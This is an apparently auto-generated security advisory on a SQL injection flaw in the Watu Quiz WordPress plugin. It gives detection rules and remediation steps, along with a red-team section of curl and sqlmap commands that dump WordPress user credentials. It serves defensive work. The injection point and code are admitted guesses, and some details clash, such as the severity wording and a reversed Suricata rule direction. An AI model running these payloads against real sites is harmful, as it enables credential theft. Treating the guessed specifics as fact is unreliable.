CVE-2025-46242

Executive Summary

CVE-2025-46242 is a critical SQL Injection vulnerability discovered in the Kibokolabs Watu Quiz plugin for WordPress, affecting all versions up to and including 3.4.3. The vulnerability stems from improper neutralization of special elements used in an SQL command, allowing unauthenticated attackers to execute arbitrary SQL queries against the underlying database. Given the WordPress ecosystem, this flaw can lead to complete data exfiltration, credential theft, and potential site takeover. The CVSS score of 7.6 reflects the high impact on confidentiality, with lower but significant impacts on integrity and availability. No public proof-of-concept or patch is currently available, elevating the risk for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin through the WordPress dashboard or via direct download are at risk. The lack of a published patch means that supply chain integrity is compromised until the vendor releases an update. Organizations should treat this as a high-priority supply chain risk and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Potential for denial of service via SQL manipulation.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical threat for any WordPress site using the Watu Quiz plugin.

Deep Dive & Mechanics

The Watu Quiz plugin handles quiz submissions and user interactions. The SQL injection vulnerability likely exists in one of the plugin's input handling functions, such as $_GET, $_POST, or $_REQUEST parameters that are directly concatenated into SQL queries without proper sanitization or parameterized queries. Common injection points include quiz ID, question ID, or user answer parameters.

An attacker can inject malicious SQL payloads through these parameters, bypassing input validation. For example, a typical injection might look like:

http://target.com/wp-admin/admin-ajax.php?action=watu_submit&quiz_id=1 UNION SELECT user_login,user_pass FROM wp_users--

This would return user credentials from the WordPress users table.

The vulnerability is classified as CWE-89 (SQL Injection) and is mapped to MITRE ATT&CK technique T1190 (Exploit Public-Facing Application). The EPSS score of 0.0% indicates low exploitation likelihood currently, but this may change as more details emerge.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. The vulnerable code likely resembles:

// VULNERABLE CODE (hypothetical)
$quiz_id = $_POST['quiz_id'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}watu_quizzes WHERE id = $quiz_id");

A patched version would use prepared statements:

// PATCHED CODE (hypothetical)
$quiz_id = intval($_POST['quiz_id']);
$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}watu_quizzes WHERE id = %d", $quiz_id));

The key difference is the use of $wpdb->prepare() with placeholder %d to safely bind the integer parameter, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Watu Quiz plugin version 3.4.3.
2. Create a quiz and note the quiz ID.
3. Use a tool like sqlmap or manual injection.

Manual Exploitation Example:

# Identify injection point
curl -X POST "http://target/wp-admin/admin-ajax.php" \
  -d "action=watu_submit&quiz_id=1' OR '1'='1" \
  -H "Content-Type: application/x-www-form-urlencoded"

# Extract user credentials
curl -X POST "http://target/wp-admin/admin-ajax.php" \
  -d "action=watu_submit&quiz_id=1 UNION SELECT user_login,user_pass,user_email FROM wp_users-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target/wp-admin/admin-ajax.php" \
  --data="action=watu_submit&quiz_id=1" \
  --batch --dbs --tables --dump

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious SQL keywords in POST/GET parameters (e.g., UNION, SELECT, OR 1=1).
2. Enable WordPress logging and review wp-content/debug.log for SQL errors.
3. Use a Web Application Firewall (WAF) with rules to block SQL injection patterns.
4. Implement database activity monitoring to detect anomalous queries.

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing SQL keywords in parameters (e.g., quiz_id=1 UNION SELECT).
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=watu_submit.
  • Multiple failed login attempts following data extraction.

• File IOCs:

  • Modified WordPress core files or plugin files (e.g., wp-config.php).
  • Suspicious PHP files in wp-content/uploads/ or wp-content/plugins/.

• Database IOCs:

  • Unexpected entries in wp_users table (e.g., new admin accounts).
  • Unusual queries in MySQL slow query log.

• Log IOCs:

  • Apache/Nginx access logs showing %27 (URL-encoded single quote) or UNION in query strings.
  • WordPress debug log entries with SQL errors.

Detection Engineering

YARA Rule

rule CVE_2025_46242_Watu_SQLi {
    meta:
        description = "Detects SQL injection attempts against Watu Quiz plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46242"
    strings:
        $s1 = "watu_submit" nocase
        $s2 = "quiz_id" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR 1=1" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against Watu Quiz Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests targeting Watu Quiz plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=watu_submit'
        cs-uri-query|contains|all:
            - 'quiz_id='
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in quiz answers (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46242 Watu Quiz SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=watu_submit";
    http_client_body;
    pcre:"/quiz_id=[^&]*['\"]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-46242;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with custom rules to block SQL injection patterns.
3. Review database logs for any signs of compromise.
4. Change all WordPress admin passwords and user credentials.

Long-term Mitigation:

1. Monitor the vendor's website for patch announcements.
2. Apply the patch as soon as it becomes available.
3. Conduct a security audit of all WordPress plugins.
4. Implement input validation and parameterized queries in custom code.

Workaround:

• If the plugin cannot be disabled, use a security plugin like Wordfence to add virtual patching rules.

Report generated by Valters IT DevSecOps & CTI Framework